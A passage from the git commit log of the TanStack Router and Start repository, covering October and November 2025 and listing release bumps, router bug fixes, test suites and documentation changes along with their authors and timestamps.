Previously the anchor link was set to "#cloudflare-workers" which was not working due to change in title, so I replaced it with "#cloudflare-workers--official-partner".

Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
2025-11-09 22:03:14 +01:00
Tanner Linsley
e5e8b33f01 release: v1.134.20 2025-11-09 20:36:03 +00:00
Birk Skyum
7880ad7b46
fix(solid-start): navigation transitions (#5792) 2025-11-09 21:33:59 +01:00
Tanner Linsley
2e0959c452 release: v1.134.19 2025-11-09 18:54:40 +00:00
Birk Skyum
01682c5dfb
fix(solid-router): use Solid.useTransition (#5801) 2025-11-09 19:52:29 +01:00
Birk Skyum
fcf1a82412
test: restructure transition e2e tests (#5800) 2025-11-09 19:26:55 +01:00
autofix-ci[bot]
3028156236
ci: apply automated fixes 2025-11-09 16:34:59 +00:00
Birk Skyum
e92e9e72cd
docs(solid-start): add convex folder (#5798) 2025-11-09 17:34:03 +01:00
Brenley Dueck
fa5d8d69af
docs(solid-start): convex + better-auth example (#5796) 2025-11-09 17:05:24 +01:00
Tanner Linsley
46f786a44e release: v1.134.18 2025-11-09 15:11:15 +00:00
Birk Skyum
da770787fa
fix(solid-router): setting search params with 2 parallel navigate calls (#5797) 2025-11-09 16:09:18 +01:00
Tanner Linsley
cfe7ee96e9 release: v1.134.17 2025-11-09 10:53:13 +00:00
Andy Abi Haidar
c825684f7d
fix: set progressiveChunkSize to infinity (#5790) 2025-11-09 11:41:31 +01:00
Tanner Linsley
0a8578f7a1 release: v1.134.16 2025-11-08 02:40:18 +00:00
Brenley Dueck
01e0f5aef4
fix(solid-router): dont show fallback unless pendingMinMs > 0 (#5793) 2025-11-08 03:26:11 +01:00
Tanner Linsley
509f14b534 release: v1.134.15 2025-11-08 00:46:27 +00:00
Ramy Ben Aroya
c857362929
fix(router-core): trigger abort signal when navigating away after pendingMs (#5777)
* fix(router): trigger loader abort signal when navigating away after pendingMs

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-08 01:37:07 +01:00
Devan Farrell
4334f64748
examples:start-clerk-basic fixed .env (#5735) 2025-11-08 01:35:45 +01:00
Stephen Brown-Bourne
818a5e79bb
docs(start): typo in the server functions guide (#5773) 2025-11-07 20:23:08 +13:00
Tanner Linsley
f005946193 release: v1.134.14 2025-11-06 23:55:25 +00:00
Nico Lynzaad
23d8ed7715
fix(router-generator): handle deep multi-level non-nested paths with experimental non-nested paths (#5779)
* fix generation of deep non-nested paths

* add router-generator unit tests

* add react-router e2e tests

* add solid-router e2e tests

* resolve typo in heading
2025-11-07 01:53:50 +02:00
Andrew David Kay
854a7ef23d
docs: Update quick-start.md - fix wording of package manager (#5764)
Update quick-start.md

The text should be "package manager" not current "package manage". This corrects that.
2025-11-06 04:04:24 +01:00
Leo Thorp
a7d1d62116
docs: typo fix in code-splitting.md (#5770)
Typo fix in code-splitting.md
2025-11-06 04:03:56 +01:00
Tanner Linsley
04671971ad release: v1.134.13 2025-11-06 01:37:57 +00:00
Nico Lynzaad
26f23faf13
refactor(router-core): consistent Unicode handling (#5736)
* add router-core fixes and update tests

* update react-router unit tests

* update react-router e2e tests

* update solid-router unit tests

* update solid-router e2e tests

* update test description

* rename function

* rename test as per codeRabbit nitpick

* test cleanup
2025-11-06 03:35:59 +02:00
Birk Skyum
6baffebbce
test(solid-router): enhance transition test suite (#5753) 2025-11-04 17:22:55 +01:00
Birk Skyum
811df9c97c
docs(router-core): make startTrasition deprecation note agnostic (#5752) 2025-11-04 14:38:35 +01:00
Philippe Serhal
cff1b2c579
docs: make Netlify hosting docs precise and actionable (#5747)
docs: improve Netlify hosting docs golden path

Revamp the Netlify hosting docs again, to provide a single golden default path that is precise and
works for most use cases, and call out alternatives separately in subsections.

Also add links out to further Netlify docs where appropriate to increase discoverability and
troubleshootability.
2025-11-04 09:16:46 +01:00
Tanner Linsley
5100cd3b3e release: v1.134.12 2025-11-04 02:53:20 +00:00
Birk Skyum
76c4f614f2
fix(solid-router): implement navigation transitions (#5691) 2025-11-04 03:51:16 +01:00
Birk Skyum
cbf10dbed6
chore(solid-router): cleanup module (#5748) 2025-11-04 02:59:54 +01:00
autofix-ci[bot]
19b0083bf8
ci: apply automated fixes (attempt 2/3) 2025-11-03 22:08:47 +00:00
autofix-ci[bot]
834c0770ab
ci: apply automated fixes 2025-11-03 22:07:45 +00:00
Aditya Oberai
401883cde1
Add Appwrite Sites to TanStack Start hosting docs (#5746) 2025-11-03 15:06:41 -07:00
Tanner Linsley
f96697aac9 release: v1.134.11 2025-11-03 19:49:02 +00:00
Birk Skyum
ce2a6a8a31
fix(solid-router): emit onBeforeRouteMount with createComputed (#5745) 2025-11-03 20:46:59 +01:00
Birk Skyum
2d338e0156
test(router): wait for nav to complete (#5744) 2025-11-03 20:24:04 +01:00
Birk Skyum
219b72cf4b
test(router): set notFoundComponent in statusCode test (#5742)
test(router): set notfound component in statusCode test
2025-11-03 19:54:27 +01:00
Birk Skyum
470f9b63bf
test(router): add waitFor for page navigation link/optional-path-params (#5741) 2025-11-03 19:33:43 +01:00
Birk Skyum
7fbd3e21f4
test(solid-start-ssr-query): remove experimental_prefetchInRender (#5740) 2025-11-03 17:54:11 +01:00
Tanner Linsley
8964b5c253 release: v1.134.10 2025-11-03 16:26:25 +00:00
Birk Skyum
d558b67239
fix(solid-router-ssr-query): allow redirect inside server function ssr (#5668) 2025-11-03 17:24:25 +01:00
autofix-ci[bot]
56a3526273
ci: apply automated fixes 2025-11-03 12:03:05 +00:00
Birk Skyum
3dae174b2d
test(solid-start): prerendering - sync #5475 to solid (#5627) 2025-11-03 13:02:04 +01:00
Shinya Fujino
dd87dbed82
docs: fix missing import and logo URL in Migrate from Next.js (#5718) 2025-11-02 17:24:00 +01:00
Nico Lynzaad
31ad20987b
chore(start-client-core): disable import-order rule for #tanstack imports (#5732)
disable import-order rule
2025-11-02 18:18:26 +02:00
Birk Skyum
f07d6ad6c3
chore: fix links to router/start header images in readme (#5730) 2025-11-02 15:33:47 +01:00
Tanner Linsley
c4d01dd28e release: v1.134.9 2025-11-02 01:21:35 +00:00
autofix-ci[bot]
124de30adc
ci: apply automated fixes 2025-11-02 01:07:20 +00:00
Manuel Schiller
df15791d9e
fix: optimizeDeps for react form (#5726) 2025-11-02 02:06:28 +01:00
TeChn4K
b865b429d4
fix(router-core): onStay callback should use 'current' matches not 'previous' (#5485) 2025-11-02 02:04:52 +01:00
autofix-ci[bot]
0761f799b5
ci: apply automated fixes 2025-11-01 22:44:16 +00:00
Brooke Holmes
a9d23a46f6
fix: Make serverFn union response type distributive (#5720) 2025-11-01 23:43:25 +01:00
Tanner Linsley
19ae7621b2 release: v1.134.8 2025-11-01 10:04:57 +00:00
Hyunjoon KIM
51ae813b65
docs(solid-start): add framework flag to solid start cli commands (#5707) 2025-11-01 10:58:22 +01:00
Birk Skyum
04f137e0a8
fix(solid-router): allow creating link for client-side-routing in SVG (#5667)
* add test

* fix svg links in solid router

---------

Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
2025-11-01 10:54:36 +01:00
Tanner Linsley
1d91138a92 release: v1.134.7 2025-11-01 00:12:53 +00:00
Manuel Schiller
4a34fcf8c4
fix: package crawling include start-client-core (#5715) 2025-11-01 01:07:13 +01:00
Tanner Linsley
1728e5db89 release: v1.134.6 2025-10-31 23:18:20 +00:00
Manuel Schiller
913430d701
fix: HMR: only invalidate router if match is existing and not cached (#5713) 2025-11-01 00:15:36 +01:00
Tanner Linsley
3e32efb538 release: v1.134.5 2025-10-31 22:40:00 +00:00
Manuel Schiller
d995aa388c
fix: decouple server functions caller and provider (#5712) 2025-10-31 23:34:18 +01:00
Tanner Linsley
35382b2f53 release: v1.134.4 2025-10-31 19:49:42 +00:00
Manuel Schiller
93d19ad11f
fix: route HMR handling (#5710) 2025-10-31 20:38:17 +01:00
Manuel Schiller
6f744c2089
fix: enable dead code elimination in split-route to remove unused imports (#5711) 2025-10-31 20:37:51 +01:00
Julian Sommer
943d61642f
docs(solid-start): add Supabase example (#5598) 2025-10-31 03:28:29 +01:00
Patt O'Brien
e77745eb3b
docs: Correct capitalization of 'TypeScript' in documentation (#5692) 2025-10-30 23:25:33 +01:00
Tanner Linsley
b52817b004 release: v1.134.3 2025-10-30 22:06:05 +00:00
Manuel Schiller
bf23694c41
fix: run start compiler on imports from @tanstack/start-client-core (#5702) 2025-10-30 22:58:55 +01:00
Tanner Linsley
9266fa1abb release: v1.134.2 2025-10-30 21:55:35 +00:00
Manuel Schiller
0677c291a9
fix: only run middleware compiler in client env (#5703) 2025-10-30 22:45:59 +01:00
Tanner Linsley
6a62499c5e release: v1.134.1 2025-10-30 05:34:44 +00:00
Birk Skyum
bd37f613ed
test(solid-router): align Matches to react (#5695) 2025-10-30 06:31:56 +01:00
Birk Skyum
a282b9714d
fix(solid-router): Should not remount deps when remountDeps does not change (#5693) 2025-10-30 04:13:48 +01:00
Tanner Linsley
9b843726a1 release: v1.134.0 2025-10-29 22:25:20 +00:00
Dominik Dorfmeister
e44b5dc1b6
feat(start): export type ServerEntry to allow typing of default exports (#5689)
* feat: export type ServerEntry to allow typing of default exports

when creating a custom server handler

* ref: only export from server-entry
2025-10-29 23:23:35 +01:00
Birk Skyum
1ec38819b6
test(router): make the remount test more thorough (#5684)
test(router): make the remount test more clear if there's extra mount initially
2025-10-29 04:13:54 +01:00
Tanner Linsley
a219007062 release: v1.133.37 2025-10-29 02:32:24 +00:00
Manuel Schiller
80a9868db4
fix: fix output path for spa shell (#5682) 2025-10-29 03:23:36 +01:00
Tanner Linsley
f325d9a754 release: v1.133.36 2025-10-29 01:11:34 +00:00
Birk Skyum
f9bf3a5eea
fix(router): bump tanstack store to ^0.8 (#5680) 2025-10-29 02:09:55 +01:00
Tanner Linsley
5d2e48338f release: v1.133.35 2025-10-28 21:35:27 +00:00
Nico Lynzaad
915de641cd
refactor(router-core): more stable url decoding (#5663)
* add decode path segment util

* ensure navigation and browsing to path has same encoding/decoding

* add e2e tests

* add test recommendations

* nitpick

* minor enhancements

* build array once

* add additional unit and e2e tests

* remove react import from solid test

* nitpicks

* final nitpicks

* use history.push
2025-10-28 23:33:50 +02:00
Birk Skyum
e06cfadee6
test(react-start): fix query version in server-routes (#5672) 2025-10-28 15:19:24 +01:00
Birk Skyum
215ae1f512
docs(solid-start): fix ssr start-basic-solid-query (#5666) 2025-10-28 04:02:47 +01:00
Brenley Dueck
9d6c63ba4c
test(solid-start): fix solid-query when used in ssr (#5665)
* fix: ssr query for solid

* Update query-core

* fix solid ssr true

* reset lockfile

* set experimental_prefetchInRender: true

* ci: apply automated fixes

* reset lock

---------

Co-authored-by: Birk Skyum <birk.skyum@pm.me>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-28 03:28:09 +01:00
Nico Lynzaad
e2be32a9b5
test(solid-router): use default generated values in basic file based (#5662)
use default generated values
2025-10-28 02:00:26 +02:00
Tanner Linsley
d7ef773cb6 release: v1.133.34 2025-10-27 23:15:03 +00:00
Brenley Dueck
1bf65ac119
fix: fix static server functions (#5650) 2025-10-28 00:06:38 +01:00
Birk Skyum
3eeeb881f0
test(start): fix search-params tests (#5643) 2025-10-27 23:44:57 +01:00
Birk Skyum
dd8867d46c
test(solid-start): serialization-adapters suite (#5557) 2025-10-27 23:24:45 +01:00
Birk Skyum
818a4ee8c8
chore(solid): bump solid to 1.9.10 (#5661) 2025-10-27 23:02:49 +01:00
Birk Skyum
34bddbe12a
test(solid-start): align search param test to react (#5657) 2025-10-27 16:58:32 +01:00
Birk Skyum
b5ac27b9e7
test(solid-start): fix dev server for suspense transition (#5647) 2025-10-27 02:19:34 +01:00
Birk Skyum
a2aaf1f73f
test(solid-router): add params test for basic file based (#5642)
add params test for basic file based
2025-10-26 23:43:18 +01:00
Birk Skyum
3a0cfa9477
test(solid-start): add missing custom-basepath tests (#5641) 2025-10-26 23:37:01 +01:00
Birk Skyum
3b091d0c10
test(solid-start): fix basic-solid-query nav tests (#5640) 2025-10-26 22:32:05 +01:00
Andy Abi Haidar
05b4defbd0
docs: add guide for New Relic integration (#5631)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-26 22:26:49 +01:00
Birk Skyum
ef2757f0dd
test(solid-start): manual suspense boundaries transition on navigation (#5638)
* test(solid-start): manual suspense boundaries transition on navigation

* add nested tests

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-26 22:14:14 +01:00
Tanner Linsley
67acbdee85 release: v1.133.33 2025-10-26 19:39:32 +00:00
autofix-ci[bot]
f4ce82455d
ci: apply automated fixes 2025-10-26 19:36:05 +00:00
Birk Skyum
78892de909
fix(solid-start): redirect from server function (#5637)
* fix(solid-start): redirect from server function test

* test for react

* set data-only
2025-10-26 20:35:00 +01:00
autofix-ci[bot]
0bda974651
ci: apply automated fixes 2025-10-26 19:06:55 +00:00
Birk Skyum
d2ac37c339
test(solid-start): server-functions e2e (#5616) 2025-10-26 20:05:55 +01:00
Birk Skyum
645de2353a
chore: update query to consistent 5.90 (#5634)
* chore: update query to consistent 5.90

* update to 5.90.0

* save bump

* bump root

* use 5.90

* update query integration for solid

* update query integration for solid

* ci: apply automated fixes

* align solid-query versions

* data-only

* lockfile

* lcokfile

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-26 19:29:46 +01:00
Tanner Linsley
38b29d47ae release: v1.133.32 2025-10-26 17:08:24 +00:00
Durgé Seerden
9607ef6d16
fix: fix React router Link component in SVG elements (#5590)
* Use getAttribute to access the element target

* Add e2e test for react-router Link in SVG
2025-10-26 17:45:55 +01:00
Birk Skyum
aefd20f917
test(solid-router): update basic-file-based (#5633) 2025-10-26 15:00:23 +01:00
Tanner Linsley
a65647b447 release: v1.133.31 2025-10-26 10:24:18 +00:00
Samy Al Zahrani
41cc7e19ef
fix: pass server context to handler (#5601)
Co-authored-by: Samy Alzahrani <samyalzahrani@MacBook-Air.local>
2025-10-26 11:16:57 +01:00
Birk Skyum
e7b90411a5
fix(solid-router): isTransitioning and handleLeave/handleEnter (#5630) 2025-10-26 03:15:57 +01:00
Tanner Linsley
6246e0d27d release: v1.133.30 2025-10-26 01:41:21 +00:00
Birk Skyum
4c3bd6bd9d
fix(solid-router): apply style to link (#5628)
* fix(solid-router): apply style to link

* perf

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-26 02:28:21 +01:00
Birk Skyum
55393f161d
fix(solid-router): fix external link ref (#5629) 2025-10-26 02:28:03 +01:00
Tanner Linsley
6e557f9d40 release: v1.133.29 2025-10-25 23:45:48 +00:00
Birk Skyum
00efd13e9c
test(solid-router): js-only-file-based e2e suite (#5626) 2025-10-26 01:32:27 +02:00
FatahChan
475707e448
fix: auto discover static routes for prerendering
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-10-26 01:31:14 +02:00
Birk Skyum
9bc2969bd7
test(solid-router): generator-cli-only e2e suite (#5625)
test(solid-router): generator-cli-only
2025-10-26 01:21:05 +02:00
Tanner Linsley
40e3a6ba74 release: v1.133.28 2025-10-25 22:51:44 +00:00
Manuel Schiller
eed6a79898
fix: fix transform id regex (#5624) 2025-10-26 00:49:50 +02:00
Birk Skyum
54e0be8422
test(solid-router): add basepath-file-based e2e suite (#5623) 2025-10-26 00:36:00 +02:00
Birk Skyum
08d78c1e2f
test(solid-router): un-skip link tests (#5621) 2025-10-26 00:26:37 +02:00
Birk Skyum
735c1e3384
test(solid-router): fix timing in loaders test (#5622) 2025-10-26 00:26:19 +02:00
Birk Skyum
b5c96d42cf
test(solid-start): sync server-routes e2e to react (#5618) 2025-10-25 22:21:07 +02:00
Birk Skyum
3ce120b377
test(solid): add params.spec.ts to start/router (#5617) 2025-10-25 22:01:24 +02:00
Birk Skyum
f4a544f405
test(solid-router): sync unit tests from react-router (#5614) 2025-10-25 19:21:19 +02:00
Birk Skyum
a068c4318e
test(solid-router): add sentry e2e (#5612) 2025-10-25 17:57:12 +02:00
Sarah
20ea99483f
docs: fix links for decisions on dx (#5608)
fix links
2025-10-25 01:08:35 +02:00
autofix-ci[bot]
c6183adb0c
ci: apply automated fixes 2025-10-24 16:51:45 +00:00
Tanner Linsley
efe6e5f075
Add basic error boundary documentation (#5605)
Add Error Boundaries documentation for React and Solid

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-24 10:50:37 -06:00
Tanner Linsley
977c9cf0fc
Add jsdoc annotations to public api (#5594)
Add JSDoc to 20 public APIs across core and React

Improve self-documentation for core utilities, history creators, and React hooks/components used in public docs. Focused on `path`/search utils, scroll restoration, `redirect` helpers, `createRouter`, file-route helpers, and key hooks like `useNavigate`, `useMatch`, `useParams`, `useSearch`, `useLoaderData/Deps`, `useRouter`, `useRouterState`, `useLocation`, `useCanGoBack`, plus SSR helpers. No type annotations changed.

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-24 09:27:58 -06:00
Brenley Dueck
4c9d221c58
update solid docs (#5602) 2025-10-24 16:51:34 +02:00
Tanner Linsley
1c5f57978b release: v1.133.27 2025-10-24 08:31:11 +00:00
Nico Lynzaad
d293e1b15a
fix(route-core, router-generator): resolve non-nested routes correctly in generator (#5402)
* revert router-core changes

* add experimental nonnested path changes to generator

* update router-generator unit tests

* update basic-file-based-e2e

* cleanup

* cleanup

* add tests for isValidNonNestedPaths

* resolve eslint issues

* align naming to documentation

* cleanup

* update solidjs basic-file-based tests

* update documentation

* ci: apply automated fixes

* resolve test issues

* code rabbit suggestions

* ci: apply automated fixes

* fix excess period in routeTree path

* restore snapshot again

* ci: apply automated fixes

* resolve nitpick

* resolve removeTrailingUnderscore issue

* fix routeTree path

* final nitpicks

* better test description

* exclude snapshots from prettier

* minor cleanup

* resolve change in snapshots due to changes from main

* update prettierignore

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-24 10:29:24 +02:00
Brenley Dueck
d6f5870122
fix missing props lazy compoonent (#5597) 2025-10-24 03:20:29 +02:00
Tanner Linsley
163ff7b81a release: v1.133.26 2025-10-23 23:41:46 +00:00
Manuel Schiller
9d5a4fb183
fix: filter out routes from manifest that have neither preloads nor a… (#5596) 2025-10-24 01:37:35 +02:00
Júlio Mühlbauer
cc421f89f8
examples: fix paraglide start link example (#5487) 2025-10-24 01:30:27 +02:00
Wei Wang
e596798813
docs: Install vite as a devDependency (#5547) 2025-10-24 01:29:58 +02:00
Tanner Linsley
2c90c0cca2 release: v1.133.25 2025-10-23 18:29:56 +00:00
Manuel Schiller
22bb4e0f69
fix: various fixes (#5593) 2025-10-23 20:08:07 +02:00
Tanner Linsley
91d994046a
Add jsdoc annotations to public api (#5587)
* docs: Add JSDoc annotations to core router APIs

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

* Remove JSDoc notes file

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-22 22:18:53 -06:00
Birk Skyum
47bc1c3b65
chore(solid): bump solid-js to ^1.9.9 to align seroval versions (#5586) 2025-10-23 02:09:52 +02:00
Tanner Linsley
88b6a8ca5a
Add jsdoc annotations to public api (#5574)
Refactor: Add JSDoc comments and improve API documentation

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-22 15:29:53 -06:00
Tanner Linsley
fbb8b37d4d release: v1.133.24 2025-10-22 17:59:43 +00:00
Birk Skyum
cc3999f110
fix(solid-router): dev server hydration with pending component (#5585) 2025-10-22 19:57:42 +02:00
Birk Skyum
eab8a9941c
chore: bump tailwind from v3 to v4 with postcss (#5580) 2025-10-22 03:42:26 +02:00
Tanner Linsley
64803447dd release: v1.133.23 2025-10-22 00:58:01 +00:00
Brenley Dueck
0ae2ce05d8
fix: hoist link tags out of body (#5579) 2025-10-21 19:45:34 -05:00
Tanner Linsley
1d02c81c9b release: v1.133.22 2025-10-22 00:32:46 +00:00
Brenley Dueck
74714e064d
fix: fouc on solid-start HeadContent (#5578)
* fix: fouc on solid-start HeadContent

* ci: apply automated fixes

* fix lint

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-21 19:23:28 -05:00
Birk Skyum
07f56f82e8
docs(solid-start): nitro v3 vite plugin example (#5577) 2025-10-22 00:44:16 +02:00
Birk Skyum
37ac3adbf6
fix naming of solid-start example (#5576) 2025-10-22 00:24:12 +02:00
Birk Skyum
1264256770
docs(solid-start): add netlify vite plugin example (#5575) 2025-10-22 00:15:11 +02:00
Tanner Linsley
d6a4352b86
Add JSDoc annotations to public API (#5573)
Add documentation for useMatchRoute and useNavigate hooks

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-21 14:35:06 -06:00
Birk Skyum
7f809a8c35
chore(solid): bump vite plugin solid to 2.11.10 (#5572)
* bump vite-plugin-solid to 2.11.10

* update lockfile

* fix lint
2025-10-21 22:19:03 +02:00
Tanner Linsley
d3a3c0b3e6
Add JSDoc to public API (#5561)
* Add documentation for React Router hooks and components

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

* Remove redundant JSDoc comments from react-router

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-21 09:30:47 -06:00
Birk Skyum
a947885a02
docs(solid-start): start-basic-cloudflare example (#5567) 2025-10-21 17:29:01 +02:00
Tanner Linsley
2fd8de5d87 release: v1.133.21 2025-10-21 14:35:37 +00:00
Brenley Dueck
a3e518830f
fix: solid start error outside monorepo (#5566) 2025-10-21 09:30:27 -05:00
Birk Skyum
12f0e8c36a
docs: display auth, query, static examples on website (#5563)
* display auth, query, static examples on tanstack-dot-com

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-21 15:28:50 +02:00
Birk Skyum
616a38e76b
docs(solid-start): start-basic-solid-query example (#5562)
* start-basic-solid-query

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-21 15:14:43 +02:00
Tanner Linsley
76dc565fbd
Add JSDoc to public API (#5555)
* Add JSDoc comments to React Router hooks and components

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

* Refactor: Rename "Non-obvious props/options" to "Props/Options"

Co-authored-by: tannerlinsley <tannerlinsley@gmail.com>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 21:32:50 -06:00
Birk Skyum
da10edf44b
test(solid-start): basic-auth e2e suite and example (#5558) 2025-10-21 03:53:40 +02:00
Birk Skyum
410fdf808d
test(solid-start): add virtual-routes e2e suite (#5556) 2025-10-21 01:36:36 +02:00
Tanner Linsley
51288364f4 release: v1.133.20 2025-10-20 23:22:23 +00:00
Paul Sachs
3eccdebd0a
fix(router-core): add support for handling any kind of empty _splat consistently (#5510)
* Add support for handling any kind of empty _splat consistently

* Add navigate test for empty spat

* Added useNavigate test

* Added full trailingSlash options testing matrix

* Refactored the trailing slash cases

* export trailingSlashOptions from router-core

* replicate tests for solid

* ci: apply automated fixes

* fix test name interpolation

* correct waitFor usage

* fix eslint error

---------

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-21 01:13:39 +02:00
Tanner Linsley
57f1b79a7a
Add essential jsdoc to public api (#5553)
Add createLazyRoute, createLazyFileRoute, and getRouteApi functions

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 17:10:14 -06:00
Tanner Linsley
659565a88d release: v1.133.19 2025-10-20 22:56:32 +00:00
Birk Skyum
fc82bf2948
docs(solid-router): add solid-query router examples (#3891) 2025-10-21 00:50:15 +02:00
Birk Skyum
023180130c
solid-router-ssr-query (#5310) 2025-10-21 00:29:02 +02:00
Tanner Linsley
4b199bfb16 release: v1.133.18 2025-10-20 22:18:29 +00:00
Brenley Dueck
f9ae72c534
fix(solid-start): improve hydration (#5518) 2025-10-21 00:11:31 +02:00
Tanner Linsley
85681859bc
Add essential jsdoc to public api (#5551)
Add documentation for createLink, Link, useNavigate, and Navigate

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 15:41:32 -06:00
Tanner Linsley
521e737b6e
Add core api jsdoc annotations (#5550)
Refactor: Improve documentation and types for defer, redirect, and search middleware

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 13:41:01 -06:00
Tanner Linsley
1ed3c92760
Add core api jsdoc annotations (#5549)
Add JSDoc comments to router core functions

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 12:23:42 -06:00
autofix-ci[bot]
d9d1efc153
ci: apply automated fixes (attempt 2/3) 2025-10-20 18:02:37 +00:00
autofix-ci[bot]
31834e330e
ci: apply automated fixes 2025-10-20 18:01:33 +00:00
Tanner Linsley
e004400332
Add hydration error guide page (#5532)
Add hydration errors guide for React and Solid

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 12:00:12 -06:00
Tanner Linsley
b1ee739f48
Add core api jsdoc annotations (#5548)
Add JSDoc comments to route creation functions

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-10-20 11:59:24 -06:00
Tanner Linsley
7ba07e33ce release: v1.133.17 2025-10-19 23:28:18 +00:00
Manuel Schiller
f8d4f4b19e
fix: inherit build target (#5543) 2025-10-20 01:25:04 +02:00
Tanner Linsley
30702fef45 release: v1.133.16 2025-10-19 22:59:48 +00:00
Manuel Schiller
0ebd4bbd37
fix: don't warn about stream closed in case a query does not have a promise (#5542) 2025-10-20 00:46:55 +02:00
Tanner Linsley
5725dfa917 release: v1.133.15 2025-10-19 21:58:32 +00:00
Manuel Schiller
015bc2d9bd
fix: set statusCode to 500 if error occurs (#5541) 2025-10-19 23:56:43 +02:00
John Ferlito
e87bd302aa
docs: Update router-context.md with context usage tips (#5540) 2025-10-19 23:44:12 +02:00
mturczyn
15b1818188
docs: Update hosting guide with Wrangler login instructions (#5538)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-19 23:12:46 +02:00
Tanner Linsley
5703878c23 release: v1.133.14 2025-10-19 20:36:15 +00:00
Manuel Schiller
5b6109b042
fix: transform id regex (#5539) 2025-10-19 22:34:29 +02:00
Robert Soriano
788ad2db3f
chore(examples): Use updated Clerk SDK (#5514)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-19 21:41:43 +02:00
Hiroto Shioi
36e489cfd8
Update migrate-from-next-js.md (#5533) 2025-10-19 21:39:16 +02:00
Jimmy Callin
4693e0e3d4
docs(start): build before deploying to cloudflare workers (#5531)
add build before deploy
2025-10-19 09:55:41 +13:00
Manuel Schiller
2824bf7c01
fix: only transform TS/JS files (#5526)
fixes #5525
2025-10-18 17:07:58 +02:00
Tanner Linsley
57bb7950b6 release: v1.133.13 2025-10-18 00:32:25 +00:00
Manuel Schiller
de1676986e
fix: server side redirects causd by default search param respect rewrite (#5523) 2025-10-18 02:30:46 +02:00
Tanner Linsley
bfc54ddc48 release: v1.133.12 2025-10-17 23:27:44 +00:00
Manuel Schiller
1eaedcee59 fix: memo dependencies 2025-10-18 01:19:41 +02:00
Manuel Schiller
20d3501218
fix: nonce (#5522) 2025-10-18 01:11:47 +02:00
Nico Lynzaad
4f9b737174
chore(eslint): resolve eslint errors in hydrateStart (#5521)
resolve eslint errors
2025-10-18 00:24:06 +02:00
Tanner Linsley
ba42b257c4 release: v1.133.11 2025-10-17 22:14:23 +00:00
Manuel Schiller
cf4f3e633b
fix: dev serverfn resolution on windows (#5520) 2025-10-18 00:12:00 +02:00
Manuel Schiller
7d8e105c1f docs 2025-10-17 23:42:17 +02:00
Sarah
42e795d8a0
docs: fix solid installation guides (#5519)
fix solid installation guides
2025-10-17 23:33:44 +02:00
Tanner Linsley
7978449cc5 release: v1.133.10 2025-10-17 20:10:20 +00:00
Manuel Schiller
0149034c85 docs: fix session usage
fixes #5516
2025-10-17 22:07:51 +02:00
autofix-ci[bot]
a56f4fa216
ci: apply automated fixes 2025-10-17 19:54:45 +00:00
Hossein Alimadad
7a55d7dc65
fix(router-core): allow to return false to skip navigation using view transition types (#5492)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-10-17 21:53:48 +02:00
Tanner Linsley
6a2ca0b6d4 release: v1.133.9 2025-10-17 18:21:33 +00:00
Manuel Schiller
9b09616f01
fix: no invalidation for server functions in dev (#5513) 2025-10-17 20:07:26 +02:00
Tanner Linsley
510cc0628e release: v1.133.8 2025-10-17 17:41:40 +00:00
Manuel Schiller
9a0a321b97
fix: fallback if origin is 'null' (#5512) 2025-10-17 19:39:21 +02:00
Tanner Linsley
a9c92ff16b release: v1.133.7 2025-10-17 17:24:46 +00:00
Dominik Dorfmeister
b0d0b25045
fix(react-router,solid-router): top-level Matches should use pendingComponent on root route (#5495) 2025-10-17 19:19:03 +02:00
Tanner Linsley
a0c7142403 release: v1.133.6 2025-10-17 13:46:21 +00:00
Sarah
715763c70d
docs: Add comparison page back (#5503)
* add comparison page back in

* rm unneeded section in overview

